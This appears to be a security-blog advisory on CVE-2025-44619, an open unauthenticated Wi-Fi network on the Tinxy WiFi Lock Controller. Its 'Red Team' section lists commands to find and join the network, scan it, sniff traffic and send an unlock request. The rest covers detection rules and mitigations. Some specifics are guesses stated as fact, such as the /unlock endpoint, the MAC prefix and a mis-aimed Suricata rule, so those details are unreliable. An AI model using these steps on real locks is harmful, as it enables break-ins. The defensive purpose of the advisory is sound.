CVE-2025-44619

Executive Summary

CVE-2025-44619 exposes a critical security flaw in the Tinxy WiFi Lock Controller v1 RF. The device is configured to transmit on an open Wi-Fi network, meaning it does not require any authentication for an attacker to join the same network. This allows any adversary within radio range to connect to the lock controller’s Wi-Fi access point, potentially intercepting traffic, sending malicious commands, or performing further attacks on the device. The vulnerability is currently unpatched, and no official fix has been released by Tinxy. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the trivial nature of the attack vector.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue in the Tinxy WiFi Lock Controller v1 RF device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the description, a more realistic assessment would be:

• Attack Vector (AV): Adjacent Network (A) – attacker must be within Wi-Fi range.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the lock controller.
• Confidentiality (C): High (H) – attacker can intercept communications.
• Integrity (I): High (H) – attacker can send commands to the lock.
• Availability (A): High (H) – attacker could disrupt lock functionality.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Threat Level: High – due to the ease of exploitation and potential for physical security compromise.

Deep Dive & Mechanics

The Tinxy WiFi Lock Controller v1 RF operates by creating its own Wi-Fi network (or connecting to an existing one) to allow remote control via a mobile app. The vulnerability lies in the device’s configuration: it broadcasts an open (unencrypted) Wi-Fi network with no authentication required. This means:

1. Network Discovery: The device’s SSID is visible to any Wi-Fi scanner in range.
2. Unauthenticated Access: An attacker can connect to this open network without a password.
3. Traffic Interception: Once connected, the attacker can sniff all unencrypted traffic between the lock controller and the mobile app.
4. Command Injection: The attacker can send arbitrary commands to the lock controller, potentially unlocking or locking the door, or disabling security features.
5. Firmware Manipulation: If the device has an exposed management interface, the attacker could attempt to upload malicious firmware.

The root cause is a lack of mandatory Wi-Fi security (WPA2/WPA3) enforcement. The device should require a pre-shared key for network access, but it does not.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is the device firmware that configures the Wi-Fi interface to operate in open mode. A patched version would enforce WPA2-PSK (AES) or WPA3-SAE authentication.

Vulnerable Configuration (pseudo-code):

# Vulnerable: open network
wifi_ap = WiFiAccessPoint(ssid="Tinxy_Lock_XXXX", security=OPEN)
wifi_ap.start()

Patched Configuration (pseudo-code):

# Patched: secure network
wifi_ap = WiFiAccessPoint(ssid="Tinxy_Lock_XXXX", security=WPA2_AES, password="strong_random_key")
wifi_ap.start()

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Hardware: Tinxy WiFi Lock Controller v1 RF (purchased for testing)
• Attacker machine: Laptop with Kali Linux and a Wi-Fi adapter supporting monitor mode (e.g., Alfa AWUS036ACH)
• Tools: aircrack-ng, airodump-ng, aireplay-ng, nmap, curl, netcat

Exploitation Steps:

1. Discover the device:

   sudo airmon-ng start wlan0
   sudo airodump-ng wlan0mon
   

   Look for an SSID like "Tinxy_Lock_XXXX" with no encryption (open network).

2. Connect to the open network:

   sudo iwconfig wlan0 essid "Tinxy_Lock_XXXX"
   sudo dhclient wlan0
   

3. Scan for open ports/services:

   nmap -sV -p 1-65535 192.168.4.1
   

   (Default gateway is often the lock controller.)

4. Intercept traffic:

   sudo tcpdump -i wlan0 -w capture.pcap
   

   Analyze with Wireshark to find API endpoints or plaintext credentials.

5. Send malicious commands: If an HTTP API is found (e.g., /unlock), send a request:

   curl -X POST http://192.168.4.1/unlock -d "command=unlock"
   

Blue Team (Defensive)

Detection:

• Monitor for unknown Wi-Fi networks with SSIDs containing "Tinxy" or "Lock".
• Use wireless intrusion detection systems (WIDS) to flag open networks.
• Check for unauthorized devices connecting to the corporate network via rogue access points.

Mitigation:

• Isolate the lock controller on a separate VLAN with no internet access.
• Use a dedicated IoT gateway that enforces WPA2-Enterprise.
• Disable the device’s Wi-Fi if not needed, and use a wired connection instead.
• Apply network segmentation to limit lateral movement.

Indicators of Compromise (IOCs)

• Network: SSID matching pattern Tinxy_Lock_* with encryption type "OPEN" (no authentication).
• MAC Address: The device’s BSSID (first three octets typically 00:1A:7D for Tinxy, but verify).
• Traffic: Unencrypted HTTP requests to 192.168.4.1 (default gateway) on ports 80 or 8080.
• Firmware: Version v1 RF (no patch available).

Detection Engineering

YARA Rule

rule Tinxy_Open_WiFi_Config {
    meta:
        description = "Detects Tinxy WiFi Lock Controller v1 RF open network configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44619"
    strings:
        $ssid = "Tinxy_Lock" nocase
        $open = "OPEN" nocase
        $wifi = "WiFi" nocase
    condition:
        all of them
}

Sigma Rule

title: Tinxy WiFi Lock Controller Open Network Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects open Wi-Fi networks associated with Tinxy lock controllers
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44619
logsource:
    category: wireless
    product: wlan
detection:
    selection:
        SSID|contains: "Tinxy_Lock"
        Encryption|contains: "OPEN"
    condition: selection
falsepositives:
    - Legitimate open networks (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-44619 Tinxy Lock Controller Unauthenticated Access"; flow:to_server; content:"/unlock"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the device’s Wi-Fi if not required, and use a wired Ethernet connection if possible.
2. Change the device’s default SSID to a non-descriptive name (if configurable).
3. Apply network segmentation: Place the lock controller on a separate VLAN with strict firewall rules.
4. Monitor for rogue access points using WIDS/WIPS.

Long-Term Fix:

• Contact Tinxy for a firmware update that enforces WPA2/WPA3 authentication.
• If no patch is available, consider replacing the device with a secure alternative.

Workaround:

• Use an external Wi-Fi router with WPA2-Enterprise and connect the lock controller to it (if the device supports client mode). This does not fix the open AP issue but reduces exposure.

Valters IT
Securing Digital Frontiers